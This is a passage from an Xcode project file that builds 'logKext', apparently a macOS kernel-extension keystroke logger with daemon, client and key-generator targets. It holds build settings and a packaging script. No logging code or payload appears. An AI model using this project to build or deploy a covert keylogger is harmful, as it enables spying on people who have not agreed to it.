354 | outputPaths = (
355 | );
356 | runOnlyForDeploymentPostprocessing = 0;
357 | shellPath = /bin/sh;
358 | shellScript = "LK_INSTALL_ROOT=/tmp/logKextInstallRoot\nrm -rf $LK_INSTALL_ROOT\ncp -R $BUILD_DIR/packageGen $LK_INSTALL_ROOT\n/Developer/Applications/Utilities/PackageMaker.app/Contents/MacOS/PackageMaker --doc $LK_INSTALL_ROOT/logKext.pmdoc -o $BUILD_DIR/logKext.pkg\nrm -rf $LK_INSTALL_ROOT";
359 | };
360 | /* End PBXShellScriptBuildPhase section */
361 |
362 | /* Begin PBXSourcesBuildPhase section */
363 | 32D94FC90562CBF700B6AF17 /* Sources */ = {
364 | isa = PBXSourcesBuildPhase;
365 | buildActionMask = 2147483647;
366 | files = (
367 | F82A259E08EDD8F90077C8EA /* logKext.cpp in Sources */,
368 | F82A25A008EDD8F90077C8EA /* logKext_UC.cpp in Sources */,
369 | );
370 | runOnlyForDeploymentPostprocessing = 0;
371 | };
372 | /* End PBXSourcesBuildPhase section */
373 |
374 | /* Begin PBXTargetDependency section */
375 | 63EED2B210B4EC8D005515A9 /* PBXTargetDependency */ = {
376 | isa = PBXTargetDependency;
377 | name = logKextDaemon;
378 | targetProxy = 63EED2B110B4EC8D005515A9 /* PBXContainerItemProxy */;
379 | };
380 | 63EED2B410B4EC8F005515A9 /* PBXTargetDependency */ = {
381 | isa = PBXTargetDependency;
382 | name = logKextClient;
383 | targetProxy = 63EED2B310B4EC8F005515A9 /* PBXContainerItemProxy */;
384 | };
385 | 63EED2B810B4EC93005515A9 /* PBXTargetDependency */ = {
386 | isa = PBXTargetDependency;
387 | name = logKextKeyGen;
388 | targetProxy = 63EED2B710B4EC93005515A9 /* PBXContainerItemProxy */;
389 | };
390 | /* End PBXTargetDependency section */
391 |
392 | /* Begin PBXVariantGroup section */
393 | 089C167DFE841241C02AAC07 /* InfoPlist.strings */ = {
394 | isa = PBXVariantGroup;
395 | children = (
396 | 089C167EFE841241C02AAC07 /* English */,
397 | );
398 | name = InfoPlist.strings;
399 | sourceTree = "";
400 | };
401 | /* End PBXVariantGroup section */
402 |
403 | /* Begin XCBuildConfiguration section */
404 | F861090309283D43003C3B7F /* Development */ = {
405 | isa = XCBuildConfiguration;
406 | buildSettings = {
407 | ARCHS = "$(NATIVE_ARCH_ACTUAL)";
408 | COPY_PHASE_STRIP = NO;
409 | CURRENT_PROJECT_VERSION = 2.4;
410 | GCC_DYNAMIC_NO_PIC = NO;
411 | GCC_ENABLE_FIX_AND_CONTINUE = YES;
412 | GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
413 | GCC_MODEL_TUNING = G4;
414 | GCC_OPTIMIZATION_LEVEL = 0;
415 | GCC_VERSION = "";
416 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
417 | GCC_WARN_UNUSED_VARIABLE = YES;
418 | INFOPLIST_FILE = Info.plist;
419 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions";
420 | MACOSX_DEPLOYMENT_TARGET = 10.7;
421 | MODULE_NAME = com.fsb.kext.logKext;
422 | MODULE_VERSION = 3.0;
423 | ONLY_ACTIVE_ARCH = YES;
424 | PREBINDING = NO;
425 | PRODUCT_NAME = logKext;
426 | SDKROOT = macosx;
427 | WRAPPER_EXTENSION = kext;
428 | };
429 | name = Development;
430 | };
431 | F861090409283D43003C3B7F /* Deployment */ = {
432 | isa = XCBuildConfiguration;
433 | buildSettings = {
434 | ARCHS = "$(ARCHS_STANDARD)";
435 | COPY_PHASE_STRIP = YES;
436 | CURRENT_PROJECT_VERSION = 2.4;
437 | GCC_ENABLE_FIX_AND_CONTINUE = NO;
438 | GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
439 | GCC_MODEL_TUNING = G4;
440 | GCC_VERSION = "";
441 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
442 | GCC_WARN_UNUSED_VARIABLE = YES;
443 | INFOPLIST_FILE = Info.plist;
444 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions";
445 | MACOSX_DEPLOYMENT_TARGET = 10.7;
446 | MODULE_NAME = com.fsb.kext.logKext;
447 | MODULE_VERSION = 3.0;
448 | ONLY_ACTIVE_ARCH = NO;
449 | PREBINDING = NO;
450 | PRODUCT_NAME = logKext;
451 | SDKROOT = macosx;
452 | WRAPPER_EXTENSION = kext;
453 | };
454 | name = Deployment;
455 | };
456 | F861090509283D43003C3B7F /* Default */ = {
457 | isa = XCBuildConfiguration;
458 | buildSettings = {
459 | ARCHS = "$(ARCHS_STANDARD)";
460 | CURRENT_PROJECT_VERSION = 2.4;
461 | GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
462 | GCC_MODEL_TUNING = G4;
463 | GCC_VERSION = "";
464 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
465 | GCC_WARN_UNUSED_VARIABLE = YES;
466 | INFOPLIST_FILE = Info.plist;
467 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions";
468 | MACOSX_DEPLOYMENT_TARGET = 10.7;
469 | MODULE_NAME = com.fsb.kext.logKext;
470 | MODULE_VERSION = 3.0;
471 | PREBINDING = NO;
472 | PRODUCT_NAME = logKext;
473 | SDKROOT = macosx;
474 | WRAPPER_EXTENSION = kext;
475 | };
476 | name = Default;
477 | };
478 | F861090709283D43003C3B7F /* Development */ = {
479 | isa = XCBuildConfiguration;
480 | buildSettings = {
481 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
482 | MACOSX_DEPLOYMENT_TARGET = 10.7;
483 | ONLY_ACTIVE_ARCH = YES;
484 | SDKROOT = "$(DEVELOPER_SDK_DIR)/MacOSX10.6.sdk";
485 | };
486 | name = Development;
487 | };
488 | F861090809283D43003C3B7F /* Deployment */ = {
489 | isa = XCBuildConfiguration;
490 | buildSettings = {
491 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
492 | MACOSX_DEPLOYMENT_TARGET = 10.7;
493 | SDKROOT = "$(DEVELOPER_SDK_DIR)/MacOSX10.6.sdk";
494 | };
495 | name = Deployment;
496 | };
497 | F861090909283D43003C3B7F /* Default */ = {
498 | isa = XCBuildConfiguration;
499 | buildSettings = {
500 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
501 | MACOSX_DEPLOYMENT_TARGET = 10.7;
502 | SDKROOT = "$(DEVELOPER_SDK_DIR)/MacOSX10.6.sdk";
503 | };
504 | name = Default;
505 | };
506 | /* End XCBuildConfiguration section */
507 |
508 | /* Begin XCConfigurationList section */
509 | F861090209283D43003C3B7F /* Build configuration list for PBXNativeTarget "logKext" */ = {
510 | isa = XCConfigurationList;
511 | buildConfigurations = (
512 | F861090309283D43003C3B7F /* Development */,
513 | F861090409283D43003C3B7F /* Deployment */,
514 | F861090509283D43003C3B7F /* Default */,
515 | );
516 | defaultConfigurationIsVisible = 0;
517 | defaultConfigurationName = Default;
518 | };
519 | F861090609283D43003C3B7F /* Build configuration list for PBXProject "logKext" */ = {
520 | isa = XCConfigurationList;
521 | buildConfigurations = (
522 | F861090709283D43003C3B7F /* Development */,
523 | F861090809283D43003C3B7F /* Deployment */,
524 | F861090909283D43003C3B7F /* Default */,
525 | );
526 | defaultConfigurationIsVisible = 0;
527 | defaultConfigurationName = Default;
528 | };
529 | /* End XCConfigurationList section */
530 | };
531 | rootObject = 089C1669FE841209C02AAC07 /* Project object */;
532 | }
533 |
--------------------------------------------------------------------------------